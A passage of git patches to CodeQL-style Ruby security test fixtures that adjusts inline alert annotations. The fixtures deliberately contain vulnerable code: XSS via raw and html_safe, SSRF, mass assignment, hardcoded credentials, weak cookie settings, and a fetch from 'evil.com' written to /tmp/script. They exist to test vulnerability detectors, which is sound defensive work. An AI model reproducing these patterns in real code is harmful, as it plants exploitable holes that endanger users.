queries/security/cwe-732/WeakCookieConfiguration.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref index bf19b31509d..baceccada54 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref +++ b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref @@ -1 +1,2 @@ -queries/security/cwe-732/WeakFilePermissions.ql +query: queries/security/cwe-732/WeakFilePermissions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb b/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb index 5b5604f4d78..e6993033b22 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb +++ b/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb @@ -11,16 +11,16 @@ module App config.action_dispatch.encrypted_cookie_cipher = "ChaCha" # BAD: weak block encryption algorithm - config.action_dispatch.encrypted_cookie_cipher = "DES" + config.action_dispatch.encrypted_cookie_cipher = "DES" # $ Alert[rb/weak-cookie-configuration] # BAD: weak block encryption mode - config.action_dispatch.encrypted_cookie_cipher = "AES-256-ECB" + config.action_dispatch.encrypted_cookie_cipher = "AES-256-ECB" # $ Alert[rb/weak-cookie-configuration] # GOOD config.action_dispatch.use_authenticated_cookie_encryption = true # BAD: less secure block encryption mode - config.action_dispatch.use_authenticated_cookie_encryption = false + config.action_dispatch.use_authenticated_cookie_encryption = false # $ Alert[rb/weak-cookie-configuration] # GOOD config.action_dispatch.cookies_same_site_protection = :lax @@ -29,9 +29,9 @@ module App config.action_dispatch.cookies_same_site_protection = "strict" # BAD: disabling same-site protections for sending cookies - config.action_dispatch.cookies_same_site_protection = :none + config.action_dispatch.cookies_same_site_protection = :none # $ Alert[rb/weak-cookie-configuration] # BAD: not all browsers default to `lax` if unset - config.action_dispatch.cookies_same_site_protection = nil + config.action_dispatch.cookies_same_site_protection = nil # $ Alert[rb/weak-cookie-configuration] end end diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref index e65b7754872..81afcc528c8 100644 --- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref +++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref @@ -1 +1,2 @@ -queries/security/cwe-798/HardcodedCredentials.ql +query: queries/security/cwe-798/HardcodedCredentials.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb index 57f05a25fdf..b726300559e 100644 --- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb +++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb @@ -1,24 +1,24 @@ -def authenticate(uid, password, cert: nil) +def authenticate(uid, password, cert: nil) # $ Sink if cert != nil then # comparison with hardcoded credential - return cert == "xwjVWdfzfRlbcgKkbSfG/xSrUeHYqxPgz9WKN3Yow1o=" + return cert == "xwjVWdfzfRlbcgKkbSfG/xSrUeHYqxPgz9WKN3Yow1o=" # $ Alert end # comparison with hardcoded credential - uid == 123 and password == "X6BLgRWSAtAWG/GaHS+WGGW2K7zZFTAjJ54fGSudHJk=" + uid == 123 and password == "X6BLgRWSAtAWG/GaHS+WGGW2K7zZFTAjJ54fGSudHJk=" # $ Alert end # call with hardcoded credential as argument -authenticate(123, "4NQX/CqB5Ae98zFUmwj1DMpF7azshxSvb0Jo4gIFmIQ=") +authenticate(123, "4NQX/CqB5Ae98zFUmwj1DMpF7azshxSvb0Jo4gIFmIQ=") # $ Alert # call with hardcoded credential as argument -authenticate(456, nil, cert: "WLC17dLQ9P8YlQvqm77qplOMm5pd1q25Q2onWqu78JI=") +authenticate(456, nil, cert: "WLC17dLQ9P8YlQvqm77qplOMm5pd1q25Q2onWqu78JI=") # $ Alert # concatenation involving literal -authenticate(789, "pw:" + "ogH6qSYWGdbR/2WOGYa7eZ/tObL+GtqDPx6q37BTTRQ=") +authenticate(789, "pw:" + "ogH6qSYWGdbR/2WOGYa7eZ/tObL+GtqDPx6q37BTTRQ=") # $ Alert -pw_left = "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+ZXFj2qw6asRARTV2deAXFKkMTVOoaFYom1Q" -pw_right = "4fQuzXef4f2yow8KWvIJTA==" +pw_left = "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+ZXFj2qw6asRARTV2deAXFKkMTVOoaFYom1Q" # $ Alert +pw_right = "4fQuzXef4f2yow8KWvIJTA==" # $ Alert pw = pw_left + pw_right authenticate(999, pw) @@ -28,18 +28,18 @@ authenticate("gowLsSGfPbh/ZS60k+LQQBhcq1tsh/YgbvNmDauQr5Q=", passwd) module Passwords class KnownPasswords - def include?(passwd) + def include?(passwd) # $ Sink passwd == "foo" end end end # Call to object method -Passwords::KnownPasswords.new.include?("kdW/xVhiv6y1fQQNevDpUaq+2rfPKfh+teE/45zS7bc=") +Passwords::KnownPasswords.new.include?("kdW/xVhiv6y1fQQNevDpUaq+2rfPKfh+teE/45zS7bc=") # $ Alert # Call to unrelated method with same name (should not be flagged) "foobar".include?("foo") -def default_cred(username = "user@test.com", password = "abcdef123456") +def default_cred(username = "user@test.com", password = "abcdef123456") # $ Alert username -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref index 9639e207d1e..5b8e3bc44f1 100644 --- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref +++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref @@ -1 +1,2 @@ -experimental/cwe-807/ConditionalBypass.ql \ No newline at end of file +query: experimental/cwe-807/ConditionalBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb index 1bd45f15043..1a6dd87ab79 100644 --- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb +++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb @@ -1,9 +1,9 @@ class FooController < ActionController::Base def bad_handler1 - check = params[:check] + check = params[:check] # $ Source name = params[:name] - if check + if check # $ Alert # BAD authenticate_user! name end @@ -11,7 +11,7 @@ class FooController < ActionController::Base def bad_handler2 # BAD - login if params[:login] + login if params[:login] # $ Alert do_something_else end @@ -22,9 +22,9 @@ class FooController < ActionController::Base end def bad_handler4 - p = (params[:name] == "foo") + p = (params[:name] == "foo") # $ Source # BAD - if p + if p # $ Alert verify! end end diff --git a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref index 2b41f979bb5..06312044c51 100644 --- a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref +++ b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref @@ -1 +1,2 @@ -queries/security/cwe-912/HttpToFileAccess.ql \ No newline at end of file +query: queries/security/cwe-912/HttpToFileAccess.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb b/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb index aa8ce4c46ff..062ff36c657 100644 --- a/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb +++ b/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb @@ -1,14 +1,14 @@ require "net/http" -resp = Net::HTTP.new("evil.com").get("/script").body +resp = Net::HTTP.new("evil.com").get("/script").body # $ Source file = File.open("/tmp/script", "w") -file.write(resp) # BAD +file.write(resp) # $ Alert // BAD class ExampleController < ActionController::Base def example - script = params[:script] + script = params[:script] # $ Source file = File.open("/tmp/script", "w") - file.write(script) # BAD + file.write(script) # $ Alert // BAD end def example2 @@ -16,4 +16,4 @@ class ExampleController < ActionController::Base file = File.open("/tmp/script", "w") file.write(a) # GOOD end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref index 89dbc405a3a..d60d17065b7 100644 --- a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref +++ b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref @@ -1 +1,2 @@ -queries/security/cwe-915/MassAssignment.ql \ No newline at end of file +query: queries/security/cwe-915/MassAssignment.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-915/test.rb b/ruby/ql/test/query-tests/security/cwe-915/test.rb index c72ad536ef7..d6193e27236 100644 --- a/ruby/ql/test/query-tests/security/cwe-915/test.rb +++ b/ruby/ql/test/query-tests/security/cwe-915/test.rb @@ -5,7 +5,7 @@ end class UserController < ActionController::Base def create # BAD: arbitrary params are permitted to be used for this assignment - User.new(user_params).save! + User.new(user_params).save! # $ Alert end def create2 @@ -15,42 +15,42 @@ class UserController < ActionController::Base def create3 # each BAD - User.build(user_params) - User.create(user_params) - User.create!(user_params) - User.insert(user_params) - User.insert!(user_params) + User.build(user_params) # $ Alert + User.create(user_params) # $ Alert + User.create!(user_params) # $ Alert + User.insert(user_params) # $ Alert + User.insert!(user_params) # $ Alert User.insert_all([user_params]) User.insert_all!([user_params]) - User.update(user_params) - User.update(7, user_params) - User.update!(user_params) - User.update!(7, user_params) - User.upsert(user_params) + User.update(user_params) # $ Alert + User.update(7, user_params) # $ Alert + User.update!(user_params) # $ Alert + User.update!(7, user_params) # $ Alert + User.upsert(user_params) # $ Alert User.upsert([user_params]) - User.find_or_create_by(user_params) - User.find_or_create_by!(user_params) - User.find_or_initialize_by(user_params) - User.create_or_find_by(user_params) - User.create_or_find_by!(user_params) - User.create_with(user_params) + User.find_or_create_by(user_params) # $ Alert + User.find_or_create_by!(user_params) # $ Alert + User.find_or_initialize_by(user_params) # $ Alert + User.create_or_find_by(user_params) # $ Alert + User.create_or_find_by!(user_params) # $ Alert + User.create_with(user_params) # $ Alert user = User.where(name:"abc") user.update(user_params) end def user_params - params.require(:user).permit! + params.require(:user).permit! # $ Source end def create4 - x = params[:user] + x = params[:user] # $ Source x.permit! - User.new(x) # BAD + User.new(x) # $ Alert // BAD User.new(x.permit(:name,:address)) # GOOD - User.new(params.permit(user: {})) # BAD - User.new(params.permit(user: [:name, :address, {friends:{}}])) # BAD - User.new(params.to_unsafe_h) # BAD + User.new(params.permit(user: {})) # $ Alert // BAD + User.new(params.permit(user: [:name, :address, {friends:{}}])) # $ Alert // BAD + User.new(params.to_unsafe_h) # $ Alert // BAD User.new(params.permit(user: [:name, :address]).to_unsafe_h) # GOOD end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref index 34f3a2952f2..615ca40af22 100644 --- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref @@ -1 +1,2 @@ -queries/security/cwe-918/ServerSideRequestForgery.ql +query: queries/security/cwe-918/ServerSideRequestForgery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb index ff99ffe1801..f2ff6825b7d 100644 --- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb +++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb @@ -7,17 +7,17 @@ class PostsController < ActionController::Base user = params[:user_id] # BAD - user can control the entire URL of the request - users_service_domain = params[:users_service_domain] - response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body + users_service_domain = params[:users_service_domain] # $ Source + response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body # $ Alert token = JSON.parse(response)["token"] # BAD - user can control the entire URL for the request using Faraday library - conn = Faraday.new(url: params[:url]) + conn = Faraday.new(url: params[:url]) # $ Alert resp = conn.post token = JSON.parse(resp)["token"] # BAD - user can control the entire URL for the request using Faraday::Connection library - conn = Faraday::Connection.new(url: params[:url]) + conn = Faraday::Connection.new(url: params[:url]) # $ Alert resp = conn.post token = JSON.parse(resp)["token"] diff --git a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref index feb45b82220..4d63d1ce624 100644 --- a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref +++ b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref @@ -1 +1,2 @@ -experimental/decompression-api/DecompressionApi.ql \ No newline at end of file +query: experimental/decompression-api/DecompressionApi.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb b/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb index 6c1daa144e2..83f05073747 100644 --- a/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb +++ b/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb @@ -1,8 +1,8 @@ class TestController < ActionController::Base # this should get picked up def unsafe_zlib_unzip - path = params[:file] - Zlib::Inflate.inflate(path) + path = params[:file] # $ Source + Zlib::Inflate.inflate(path) # $ Alert end # this should not get picked up @@ -12,11 +12,11 @@ class TestController < ActionController::Base # this should get picked up def unsafe_zlib_unzip - Zip::File.open_buffer(params[:file]) + Zip::File.open_buffer(params[:file]) # $ Alert end # this should not get picked up def safe_zlib_unzip Zip::File.open_buffer(file) end -end \ No newline at end of file +end From 5e606b7befcea5a393a2c20ed9ca3650932b9dbd Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Mon, 15 Jun 2026 22:33:29 +0100 Subject: [PATCH 133/143] Don't use inline expectations when alerts in erb files --- .../security/cwe-079/ReflectedXSS.qlref | 3 +- .../security/cwe-079/StoredXSS.qlref | 3 +- .../cwe-079/UnsafeHtmlConstruction.qlref | 3 +- .../app/controllers/foo/bars_controller.rb | 22 ++++++------- .../app/controllers/foo/stores_controller.rb | 2 +- .../app/views/foo/bars/_widget.html.erb | 4 +-- .../cwe-079/app/views/foo/bars/show.html.erb | 32 +++++++++---------- .../app/views/foo/stores/show.html.erb | 18 +++++------ .../security/cwe-079/lib/unsafeHtml.rb | 16 +++++----- 9 files changed, 50 insertions(+), 53 deletions(-) diff --git a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref index 5ab6c6da840..af140959abb 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/ReflectedXSS.qlref @@ -1,2 +1 @@ -query: queries/security/cwe-079/ReflectedXSS.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql +queries/security/cwe-079/ReflectedXSS.ql diff --git a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref index ed8577c438d..78de28cb282 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/StoredXSS.qlref @@ -1,2 +1 @@ -query: queries/security/cwe-079/StoredXSS.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql +queries/security/cwe-079/StoredXSS.ql \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref index 501577ea1b9..ae814bcc35c 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-079/UnsafeHtmlConstruction.qlref @@ -1,2 +1 @@ -query: queries/security/cwe-079/UnsafeHtmlConstruction.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql +queries/security/cwe-079/UnsafeHtmlConstruction.ql \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb index 8b855847f69..4146cc29953 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/bars_controller.rb @@ -6,34 +6,34 @@ class BarsController < ApplicationController end def user_name - return params[:user_name] # $ Source[rb/reflected-xss] + return params[:user_name] end def user_name_memo - @user_name ||= params[:user_name] # $ Source[rb/reflected-xss] + @user_name ||= params[:user_name] end def show - @user_website = params[:website] # $ Source[rb/reflected-xss] - dt = params[:text] # $ Source[rb/reflected-xss] + @user_website = params[:website] + dt = params[:text] @instance_text = dt @safe_foo = params[:text] @safe_foo = "safe_foo" @html_escaped = ERB::Util.html_escape(params[:text]) @header_escaped = ERB::Util.html_escape(cookies[:foo]) # OK - cookies not controllable by 3rd party - response.header["content-type"] = params[:content_type] # $ Alert[rb/reflected-xss] + response.header["content-type"] = params[:content_type] response.header["x-customer-header"] = params[:bar] # OK - header not relevant to XSS render "foo/bars/show", locals: { display_text: dt, safe_text: "hello" } end def make_safe_html - str = params[:user_name] # $ Source[rb/reflected-xss] - str.html_safe # $ Alert[rb/reflected-xss] + str = params[:user_name] + str.html_safe - translate("welcome", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - translate preserves taint - t("welcome", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - t is an alias of translate + translate("welcome", name: params[:user_name]).html_safe # NOT OK - translate preserves taint + t("welcome", name: params[:user_name]).html_safe # NOT OK - t is an alias of translate t("welcome_html", name: params[:user_name]).html_safe # OK - t escapes html when key ends in _html - I18n.t("welcome_html", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - I18n.t does not escape html - I18n.translate("welcome_html", name: params[:user_name]).html_safe # $ Alert[rb/reflected-xss] // NOT OK - alias + I18n.t("welcome_html", name: params[:user_name]).html_safe # NOT OK - I18n.t does not escape html + I18n.translate("welcome_html", name: params[:user_name]).html_safe # NOT OK - alias end end diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb index 84918d48c4d..6dbb2508353 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/controllers/foo/stores_controller.rb @@ -5,7 +5,7 @@ class StoresController < ApplicationController end def show - dt = File.read("foo.txt") # $ Source[rb/stored-xss] + dt = File.read("foo.txt") @instance_text = dt @user = User.find 1 @safe_user_handle = ERB::Util.html_escape(@user.handle) diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb index cbd27d512dc..54b52afe8c7 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/_widget.html.erb @@ -2,10 +2,10 @@ <%= raw @display_text %> <%# BAD: A local rendered raw as a local variable %> -<%= raw display_text %> <%# $ Alert[rb/reflected-xss], Alert[rb/stored-xss] %> +<%= raw display_text %> <%# BAD: A local rendered raw via the local_assigns hash %> -<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/reflected-xss], Alert[rb/stored-xss] %> +<%= raw local_assigns[:display_text] %> <%# GOOD: A local rendered with default escaping via the local_assigns hash %> <%= local_assigns[:display_text] %> diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb index f821a423c70..b8092cd883f 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/bars/show.html.erb @@ -1,20 +1,20 @@ <%# BAD: An instance variable rendered without escaping %> -website <%# $ Alert[rb/reflected-xss] %> +website <%# BAD: A local rendered raw as a local variable %> -<%= raw display_text %> <%# $ Alert[rb/reflected-xss] %> +<%= raw display_text %> <%# BAD: A local rendered raw via the local_assigns hash %> -<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/reflected-xss] %> +<%= raw local_assigns[:display_text] %> <% key = :display_text %> <%# BAD: A local rendered raw via the locals_assigns hash %> -<%= raw local_assigns[key] %> <%# $ Alert[rb/reflected-xss] %> +<%= raw local_assigns[key] %>
      <% for key in [:display_text, :safe_text] do %> <%# BAD: A local rendered raw via the locals hash %> -
    • <%= raw local_assigns[key] %>
    • <%# $ Alert[rb/reflected-xss] %> +
    • <%= raw local_assigns[key] %>
    • <% end %>
    @@ -32,28 +32,28 @@ <%# BAD: html_safe marks string as not requiring HTML escaping %> <%= - display_text.html_safe <%# $ Alert[rb/reflected-xss] %> + display_text.html_safe %> <%# BAD: html_safe marks string as not requiring HTML escaping %> <%= - @instance_text.html_safe <%# $ Alert[rb/reflected-xss] %> + @instance_text.html_safe %> <%= render partial: 'foo/bars/widget', locals: { display_text: "widget_" + display_text } %> <%# BAD: user_name is a helper method that returns unsanitized user-input %> -<%= user_name.html_safe %> <%# $ Alert[rb/reflected-xss] %> +<%= user_name.html_safe %> <%# BAD: user_name_memo is a helper method that returns unsanitized user-input %> <%# TODO: we miss this because the return value from user_name_memo is not properly linked to this call %> -<%= user_name_memo.html_safe %> <%# $ Alert[rb/reflected-xss] %> +<%= user_name_memo.html_safe %> <%# BAD: unsanitized user-input should not be passed to link_to as the URL %> -<%= link_to "user website", params[:website] %> <%# $ Alert[rb/reflected-xss] %> +<%= link_to "user website", params[:website] %> <%# BAD: unsanitized user-input should not be passed to link_to as the URL %> -<%= link_to params[:website], class: "user-link" do %> <%# $ Alert[rb/reflected-xss] %> +<%= link_to params[:website], class: "user-link" do %> user website <% end %> @@ -70,20 +70,20 @@ %> <%# BAD: simple_format called with sanitize: false %> -<%= simple_format(params[:comment], sanitize: false) %> <%# $ Alert[rb/reflected-xss] %> +<%= simple_format(params[:comment], sanitize: false) %> <%# BAD: javasript_include_tag called with remote input %> -<%= javascript_include_tag params[:url] %> <%# $ Alert[rb/reflected-xss] %> +<%= javascript_include_tag params[:url] %> <%# GOOD: input is sanitized %> <%= sanitize(params[:comment]).html_safe %> <%# BAD: A local rendered raw as a local variable %> -<%== display_text %> <%# $ Alert[rb/reflected-xss] %> +<%== display_text %> <%# BAD: translate preserves taint %> -<%= raw translate("welcome", name: display_text) %> <%# $ Alert[rb/reflected-xss] %> -<%= raw t("welcome", name: display_text) %> <%# $ Alert[rb/reflected-xss] %> +<%= raw translate("welcome", name: display_text) %> +<%= raw t("welcome", name: display_text) %> <%# GOOD: translate sanitizes for html keys %> <%= raw t("welcome1.html", name: display_text) %> diff --git a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb index 16080cb948a..d8afec1c432 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb +++ b/ruby/ql/test/query-tests/security/cwe-079/app/views/foo/stores/show.html.erb @@ -1,17 +1,17 @@ <%# BAD: A local rendered raw as a local variable %> -<%= raw display_text %> <%# $ Alert[rb/stored-xss] %> +<%= raw display_text %> <%# BAD: A local rendered raw via the local_assigns hash %> -<%= raw local_assigns[:display_text] %> <%# $ Alert[rb/stored-xss] %> +<%= raw local_assigns[:display_text] %> <% key = :display_text %> <%# BAD: A local rendered raw via the locals_assigns hash %> -<%= raw local_assigns[key] %> <%# $ Alert[rb/stored-xss] %> +<%= raw local_assigns[key] %>
      <% for key in [:display_text, :safe_text] do %> <%# BAD: A local rendered raw via the locals hash %> -
    • <%= raw local_assigns[key] %>
    • <%# $ Alert[rb/stored-xss] %> +
    • <%= raw local_assigns[key] %>
    • <% end %>
    @@ -29,12 +29,12 @@ <%# BAD: html_safe marks string as not requiring HTML escaping %> <%= - display_text.html_safe <%# $ Alert[rb/stored-xss] %> + display_text.html_safe %> <%# BAD: html_safe marks string as not requiring HTML escaping %> <%= - @instance_text.html_safe <%# $ Alert[rb/stored-xss] %> + @instance_text.html_safe %> <%= render partial: 'foo/bars/widget', locals: { display_text: "widget_" + display_text } %> @@ -43,7 +43,7 @@ <%= user_name_handle.html_safe %> <%# BAD: Direct to a database value without escaping %> -<%= @user.handle.html_safe %> <%# $ Alert[rb/stored-xss] %> +<%= @user.handle.html_safe %> <%# BAD: Indirect to a database value without escaping %> <%= @user.raw_name.html_safe %> @@ -60,7 +60,7 @@ <%# BAD: Direct to a database value without escaping %> <%= some_user = User.find 1 - some_user.handle.html_safe <%# $ Alert[rb/stored-xss] %> + some_user.handle.html_safe %> <%# BAD: Indirect to a database value without escaping (currently missed due to lack of 'self' handling in ORM tracking) %> @@ -83,7 +83,7 @@ <%# BAD: Kernel.sprintf is a taint-step %> <%= - sprintf("%s", @user.handle).html_safe <%# $ Alert[rb/stored-xss] %> + sprintf("%s", @user.handle).html_safe %> <%# GOOD: The `foo.bar.baz` is not recognized as a source %> diff --git a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb index 1e025ce6ba2..3f92d5938b1 100644 --- a/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb +++ b/ruby/ql/test/query-tests/security/cwe-079/lib/unsafeHtml.rb @@ -1,27 +1,27 @@ class Foobar - def create_user_description(name) # $ Source[rb/html-constructed-from-input] - "

    #{name}

    ".html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the parameter is not escaped + def create_user_description(name) + "

    #{name}

    ".html_safe # NOT OK - the parameter is not escaped # escape "

    #{ERB::Util.html_escape(name)}

    ".html_safe # OK - the parameter is escaped end - def string_like_literal name # $ Source[rb/html-constructed-from-input] + def string_like_literal name h = <<-HTML -

    #{name}

    # $ Alert[rb/html-constructed-from-input] +

    #{name}

    HTML h.html_safe # NOT OK - the parameter is not escaped end - def sprintf_use name # $ Source[rb/html-constructed-from-input] - sprintf("

    %s

    ", name).html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the parameter is not escaped + def sprintf_use name + sprintf("

    %s

    ", name).html_safe # NOT OK - the parameter is not escaped # escape sprintf("

    %s

    ", ERB::Util.html_escape(name)).html_safe # OK - the parameter is escaped end - def create_user_description2(name) # $ Source[rb/html-constructed-from-input] - "

    #{name}

    ".html_safe # $ Alert[rb/html-constructed-from-input] // NOT OK - the value is not necessarily HTML safe + def create_user_description2(name) + "

    #{name}

    ".html_safe # NOT OK - the value is not necessarily HTML safe if name.html_safe? "

    #{name}

    ".html_safe # OK - value is marked as being HTML safe From 44e23638a40e5accc29f4c8ed41921ce17f6a5c8 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 11 Jun 2026 22:48:07 +0000 Subject: [PATCH 134/143] Convert Swift .qlref tests to inline expectation tests --- .../CWE-020/IncompleteHostnameRegex.qlref | 3 +- .../Security/CWE-020/MissingRegexAnchor.qlref | 3 +- .../Security/CWE-020/SemiAnchoredRegex.swift | 64 ++-- .../Security/CWE-020/UnanchoredUrlRegex.swift | 32 +- .../query-tests/Security/CWE-020/test.swift | 44 +-- .../CWE-022/UnsafeUnpack/UnsafeUnpack.qlref | 3 +- .../CWE-022/UnsafeUnpack/UnsafeUnpack.swift | 6 +- .../CWE-079/UnsafeWebViewFetch.expected | 38 +-- .../Security/CWE-079/UnsafeWebViewFetch.qlref | 3 +- .../Security/CWE-079/UnsafeWebViewFetch.swift | 40 +-- .../query-tests/Security/CWE-089/GRDB.swift | 190 ++++++------ .../query-tests/Security/CWE-089/SQLite.swift | 32 +- .../Security/CWE-089/SqlInjection.qlref | 3 +- .../query-tests/Security/CWE-089/other.swift | 14 +- .../Security/CWE-089/sqlite3_c_api.swift | 20 +- .../Security/CWE-116/BadTagFilter.qlref | 3 +- .../query-tests/Security/CWE-116/test.swift | 64 ++-- .../CWE-1204/StaticInitializationVector.qlref | 3 +- .../Security/CWE-1204/rncryptor.swift | 24 +- .../query-tests/Security/CWE-1204/test.swift | 46 +-- .../query-tests/Security/CWE-1333/ReDoS.qlref | 3 +- .../query-tests/Security/CWE-1333/ReDoS.swift | 16 +- .../CWE-134/UncontrolledFormatString.qlref | 3 +- .../CWE-134/UncontrolledFormatString.swift | 48 +-- .../Security/CWE-259/ConstantPassword.qlref | 3 +- .../Security/CWE-259/rncryptor.swift | 38 +-- .../query-tests/Security/CWE-259/test.swift | 20 +- .../CWE-311/CleartextStorageDatabase.expected | 280 +++++++++--------- .../CWE-311/CleartextStorageDatabase.qlref | 3 +- .../CWE-311/CleartextTransmission.qlref | 3 +- .../query-tests/Security/CWE-311/SQLite.swift | 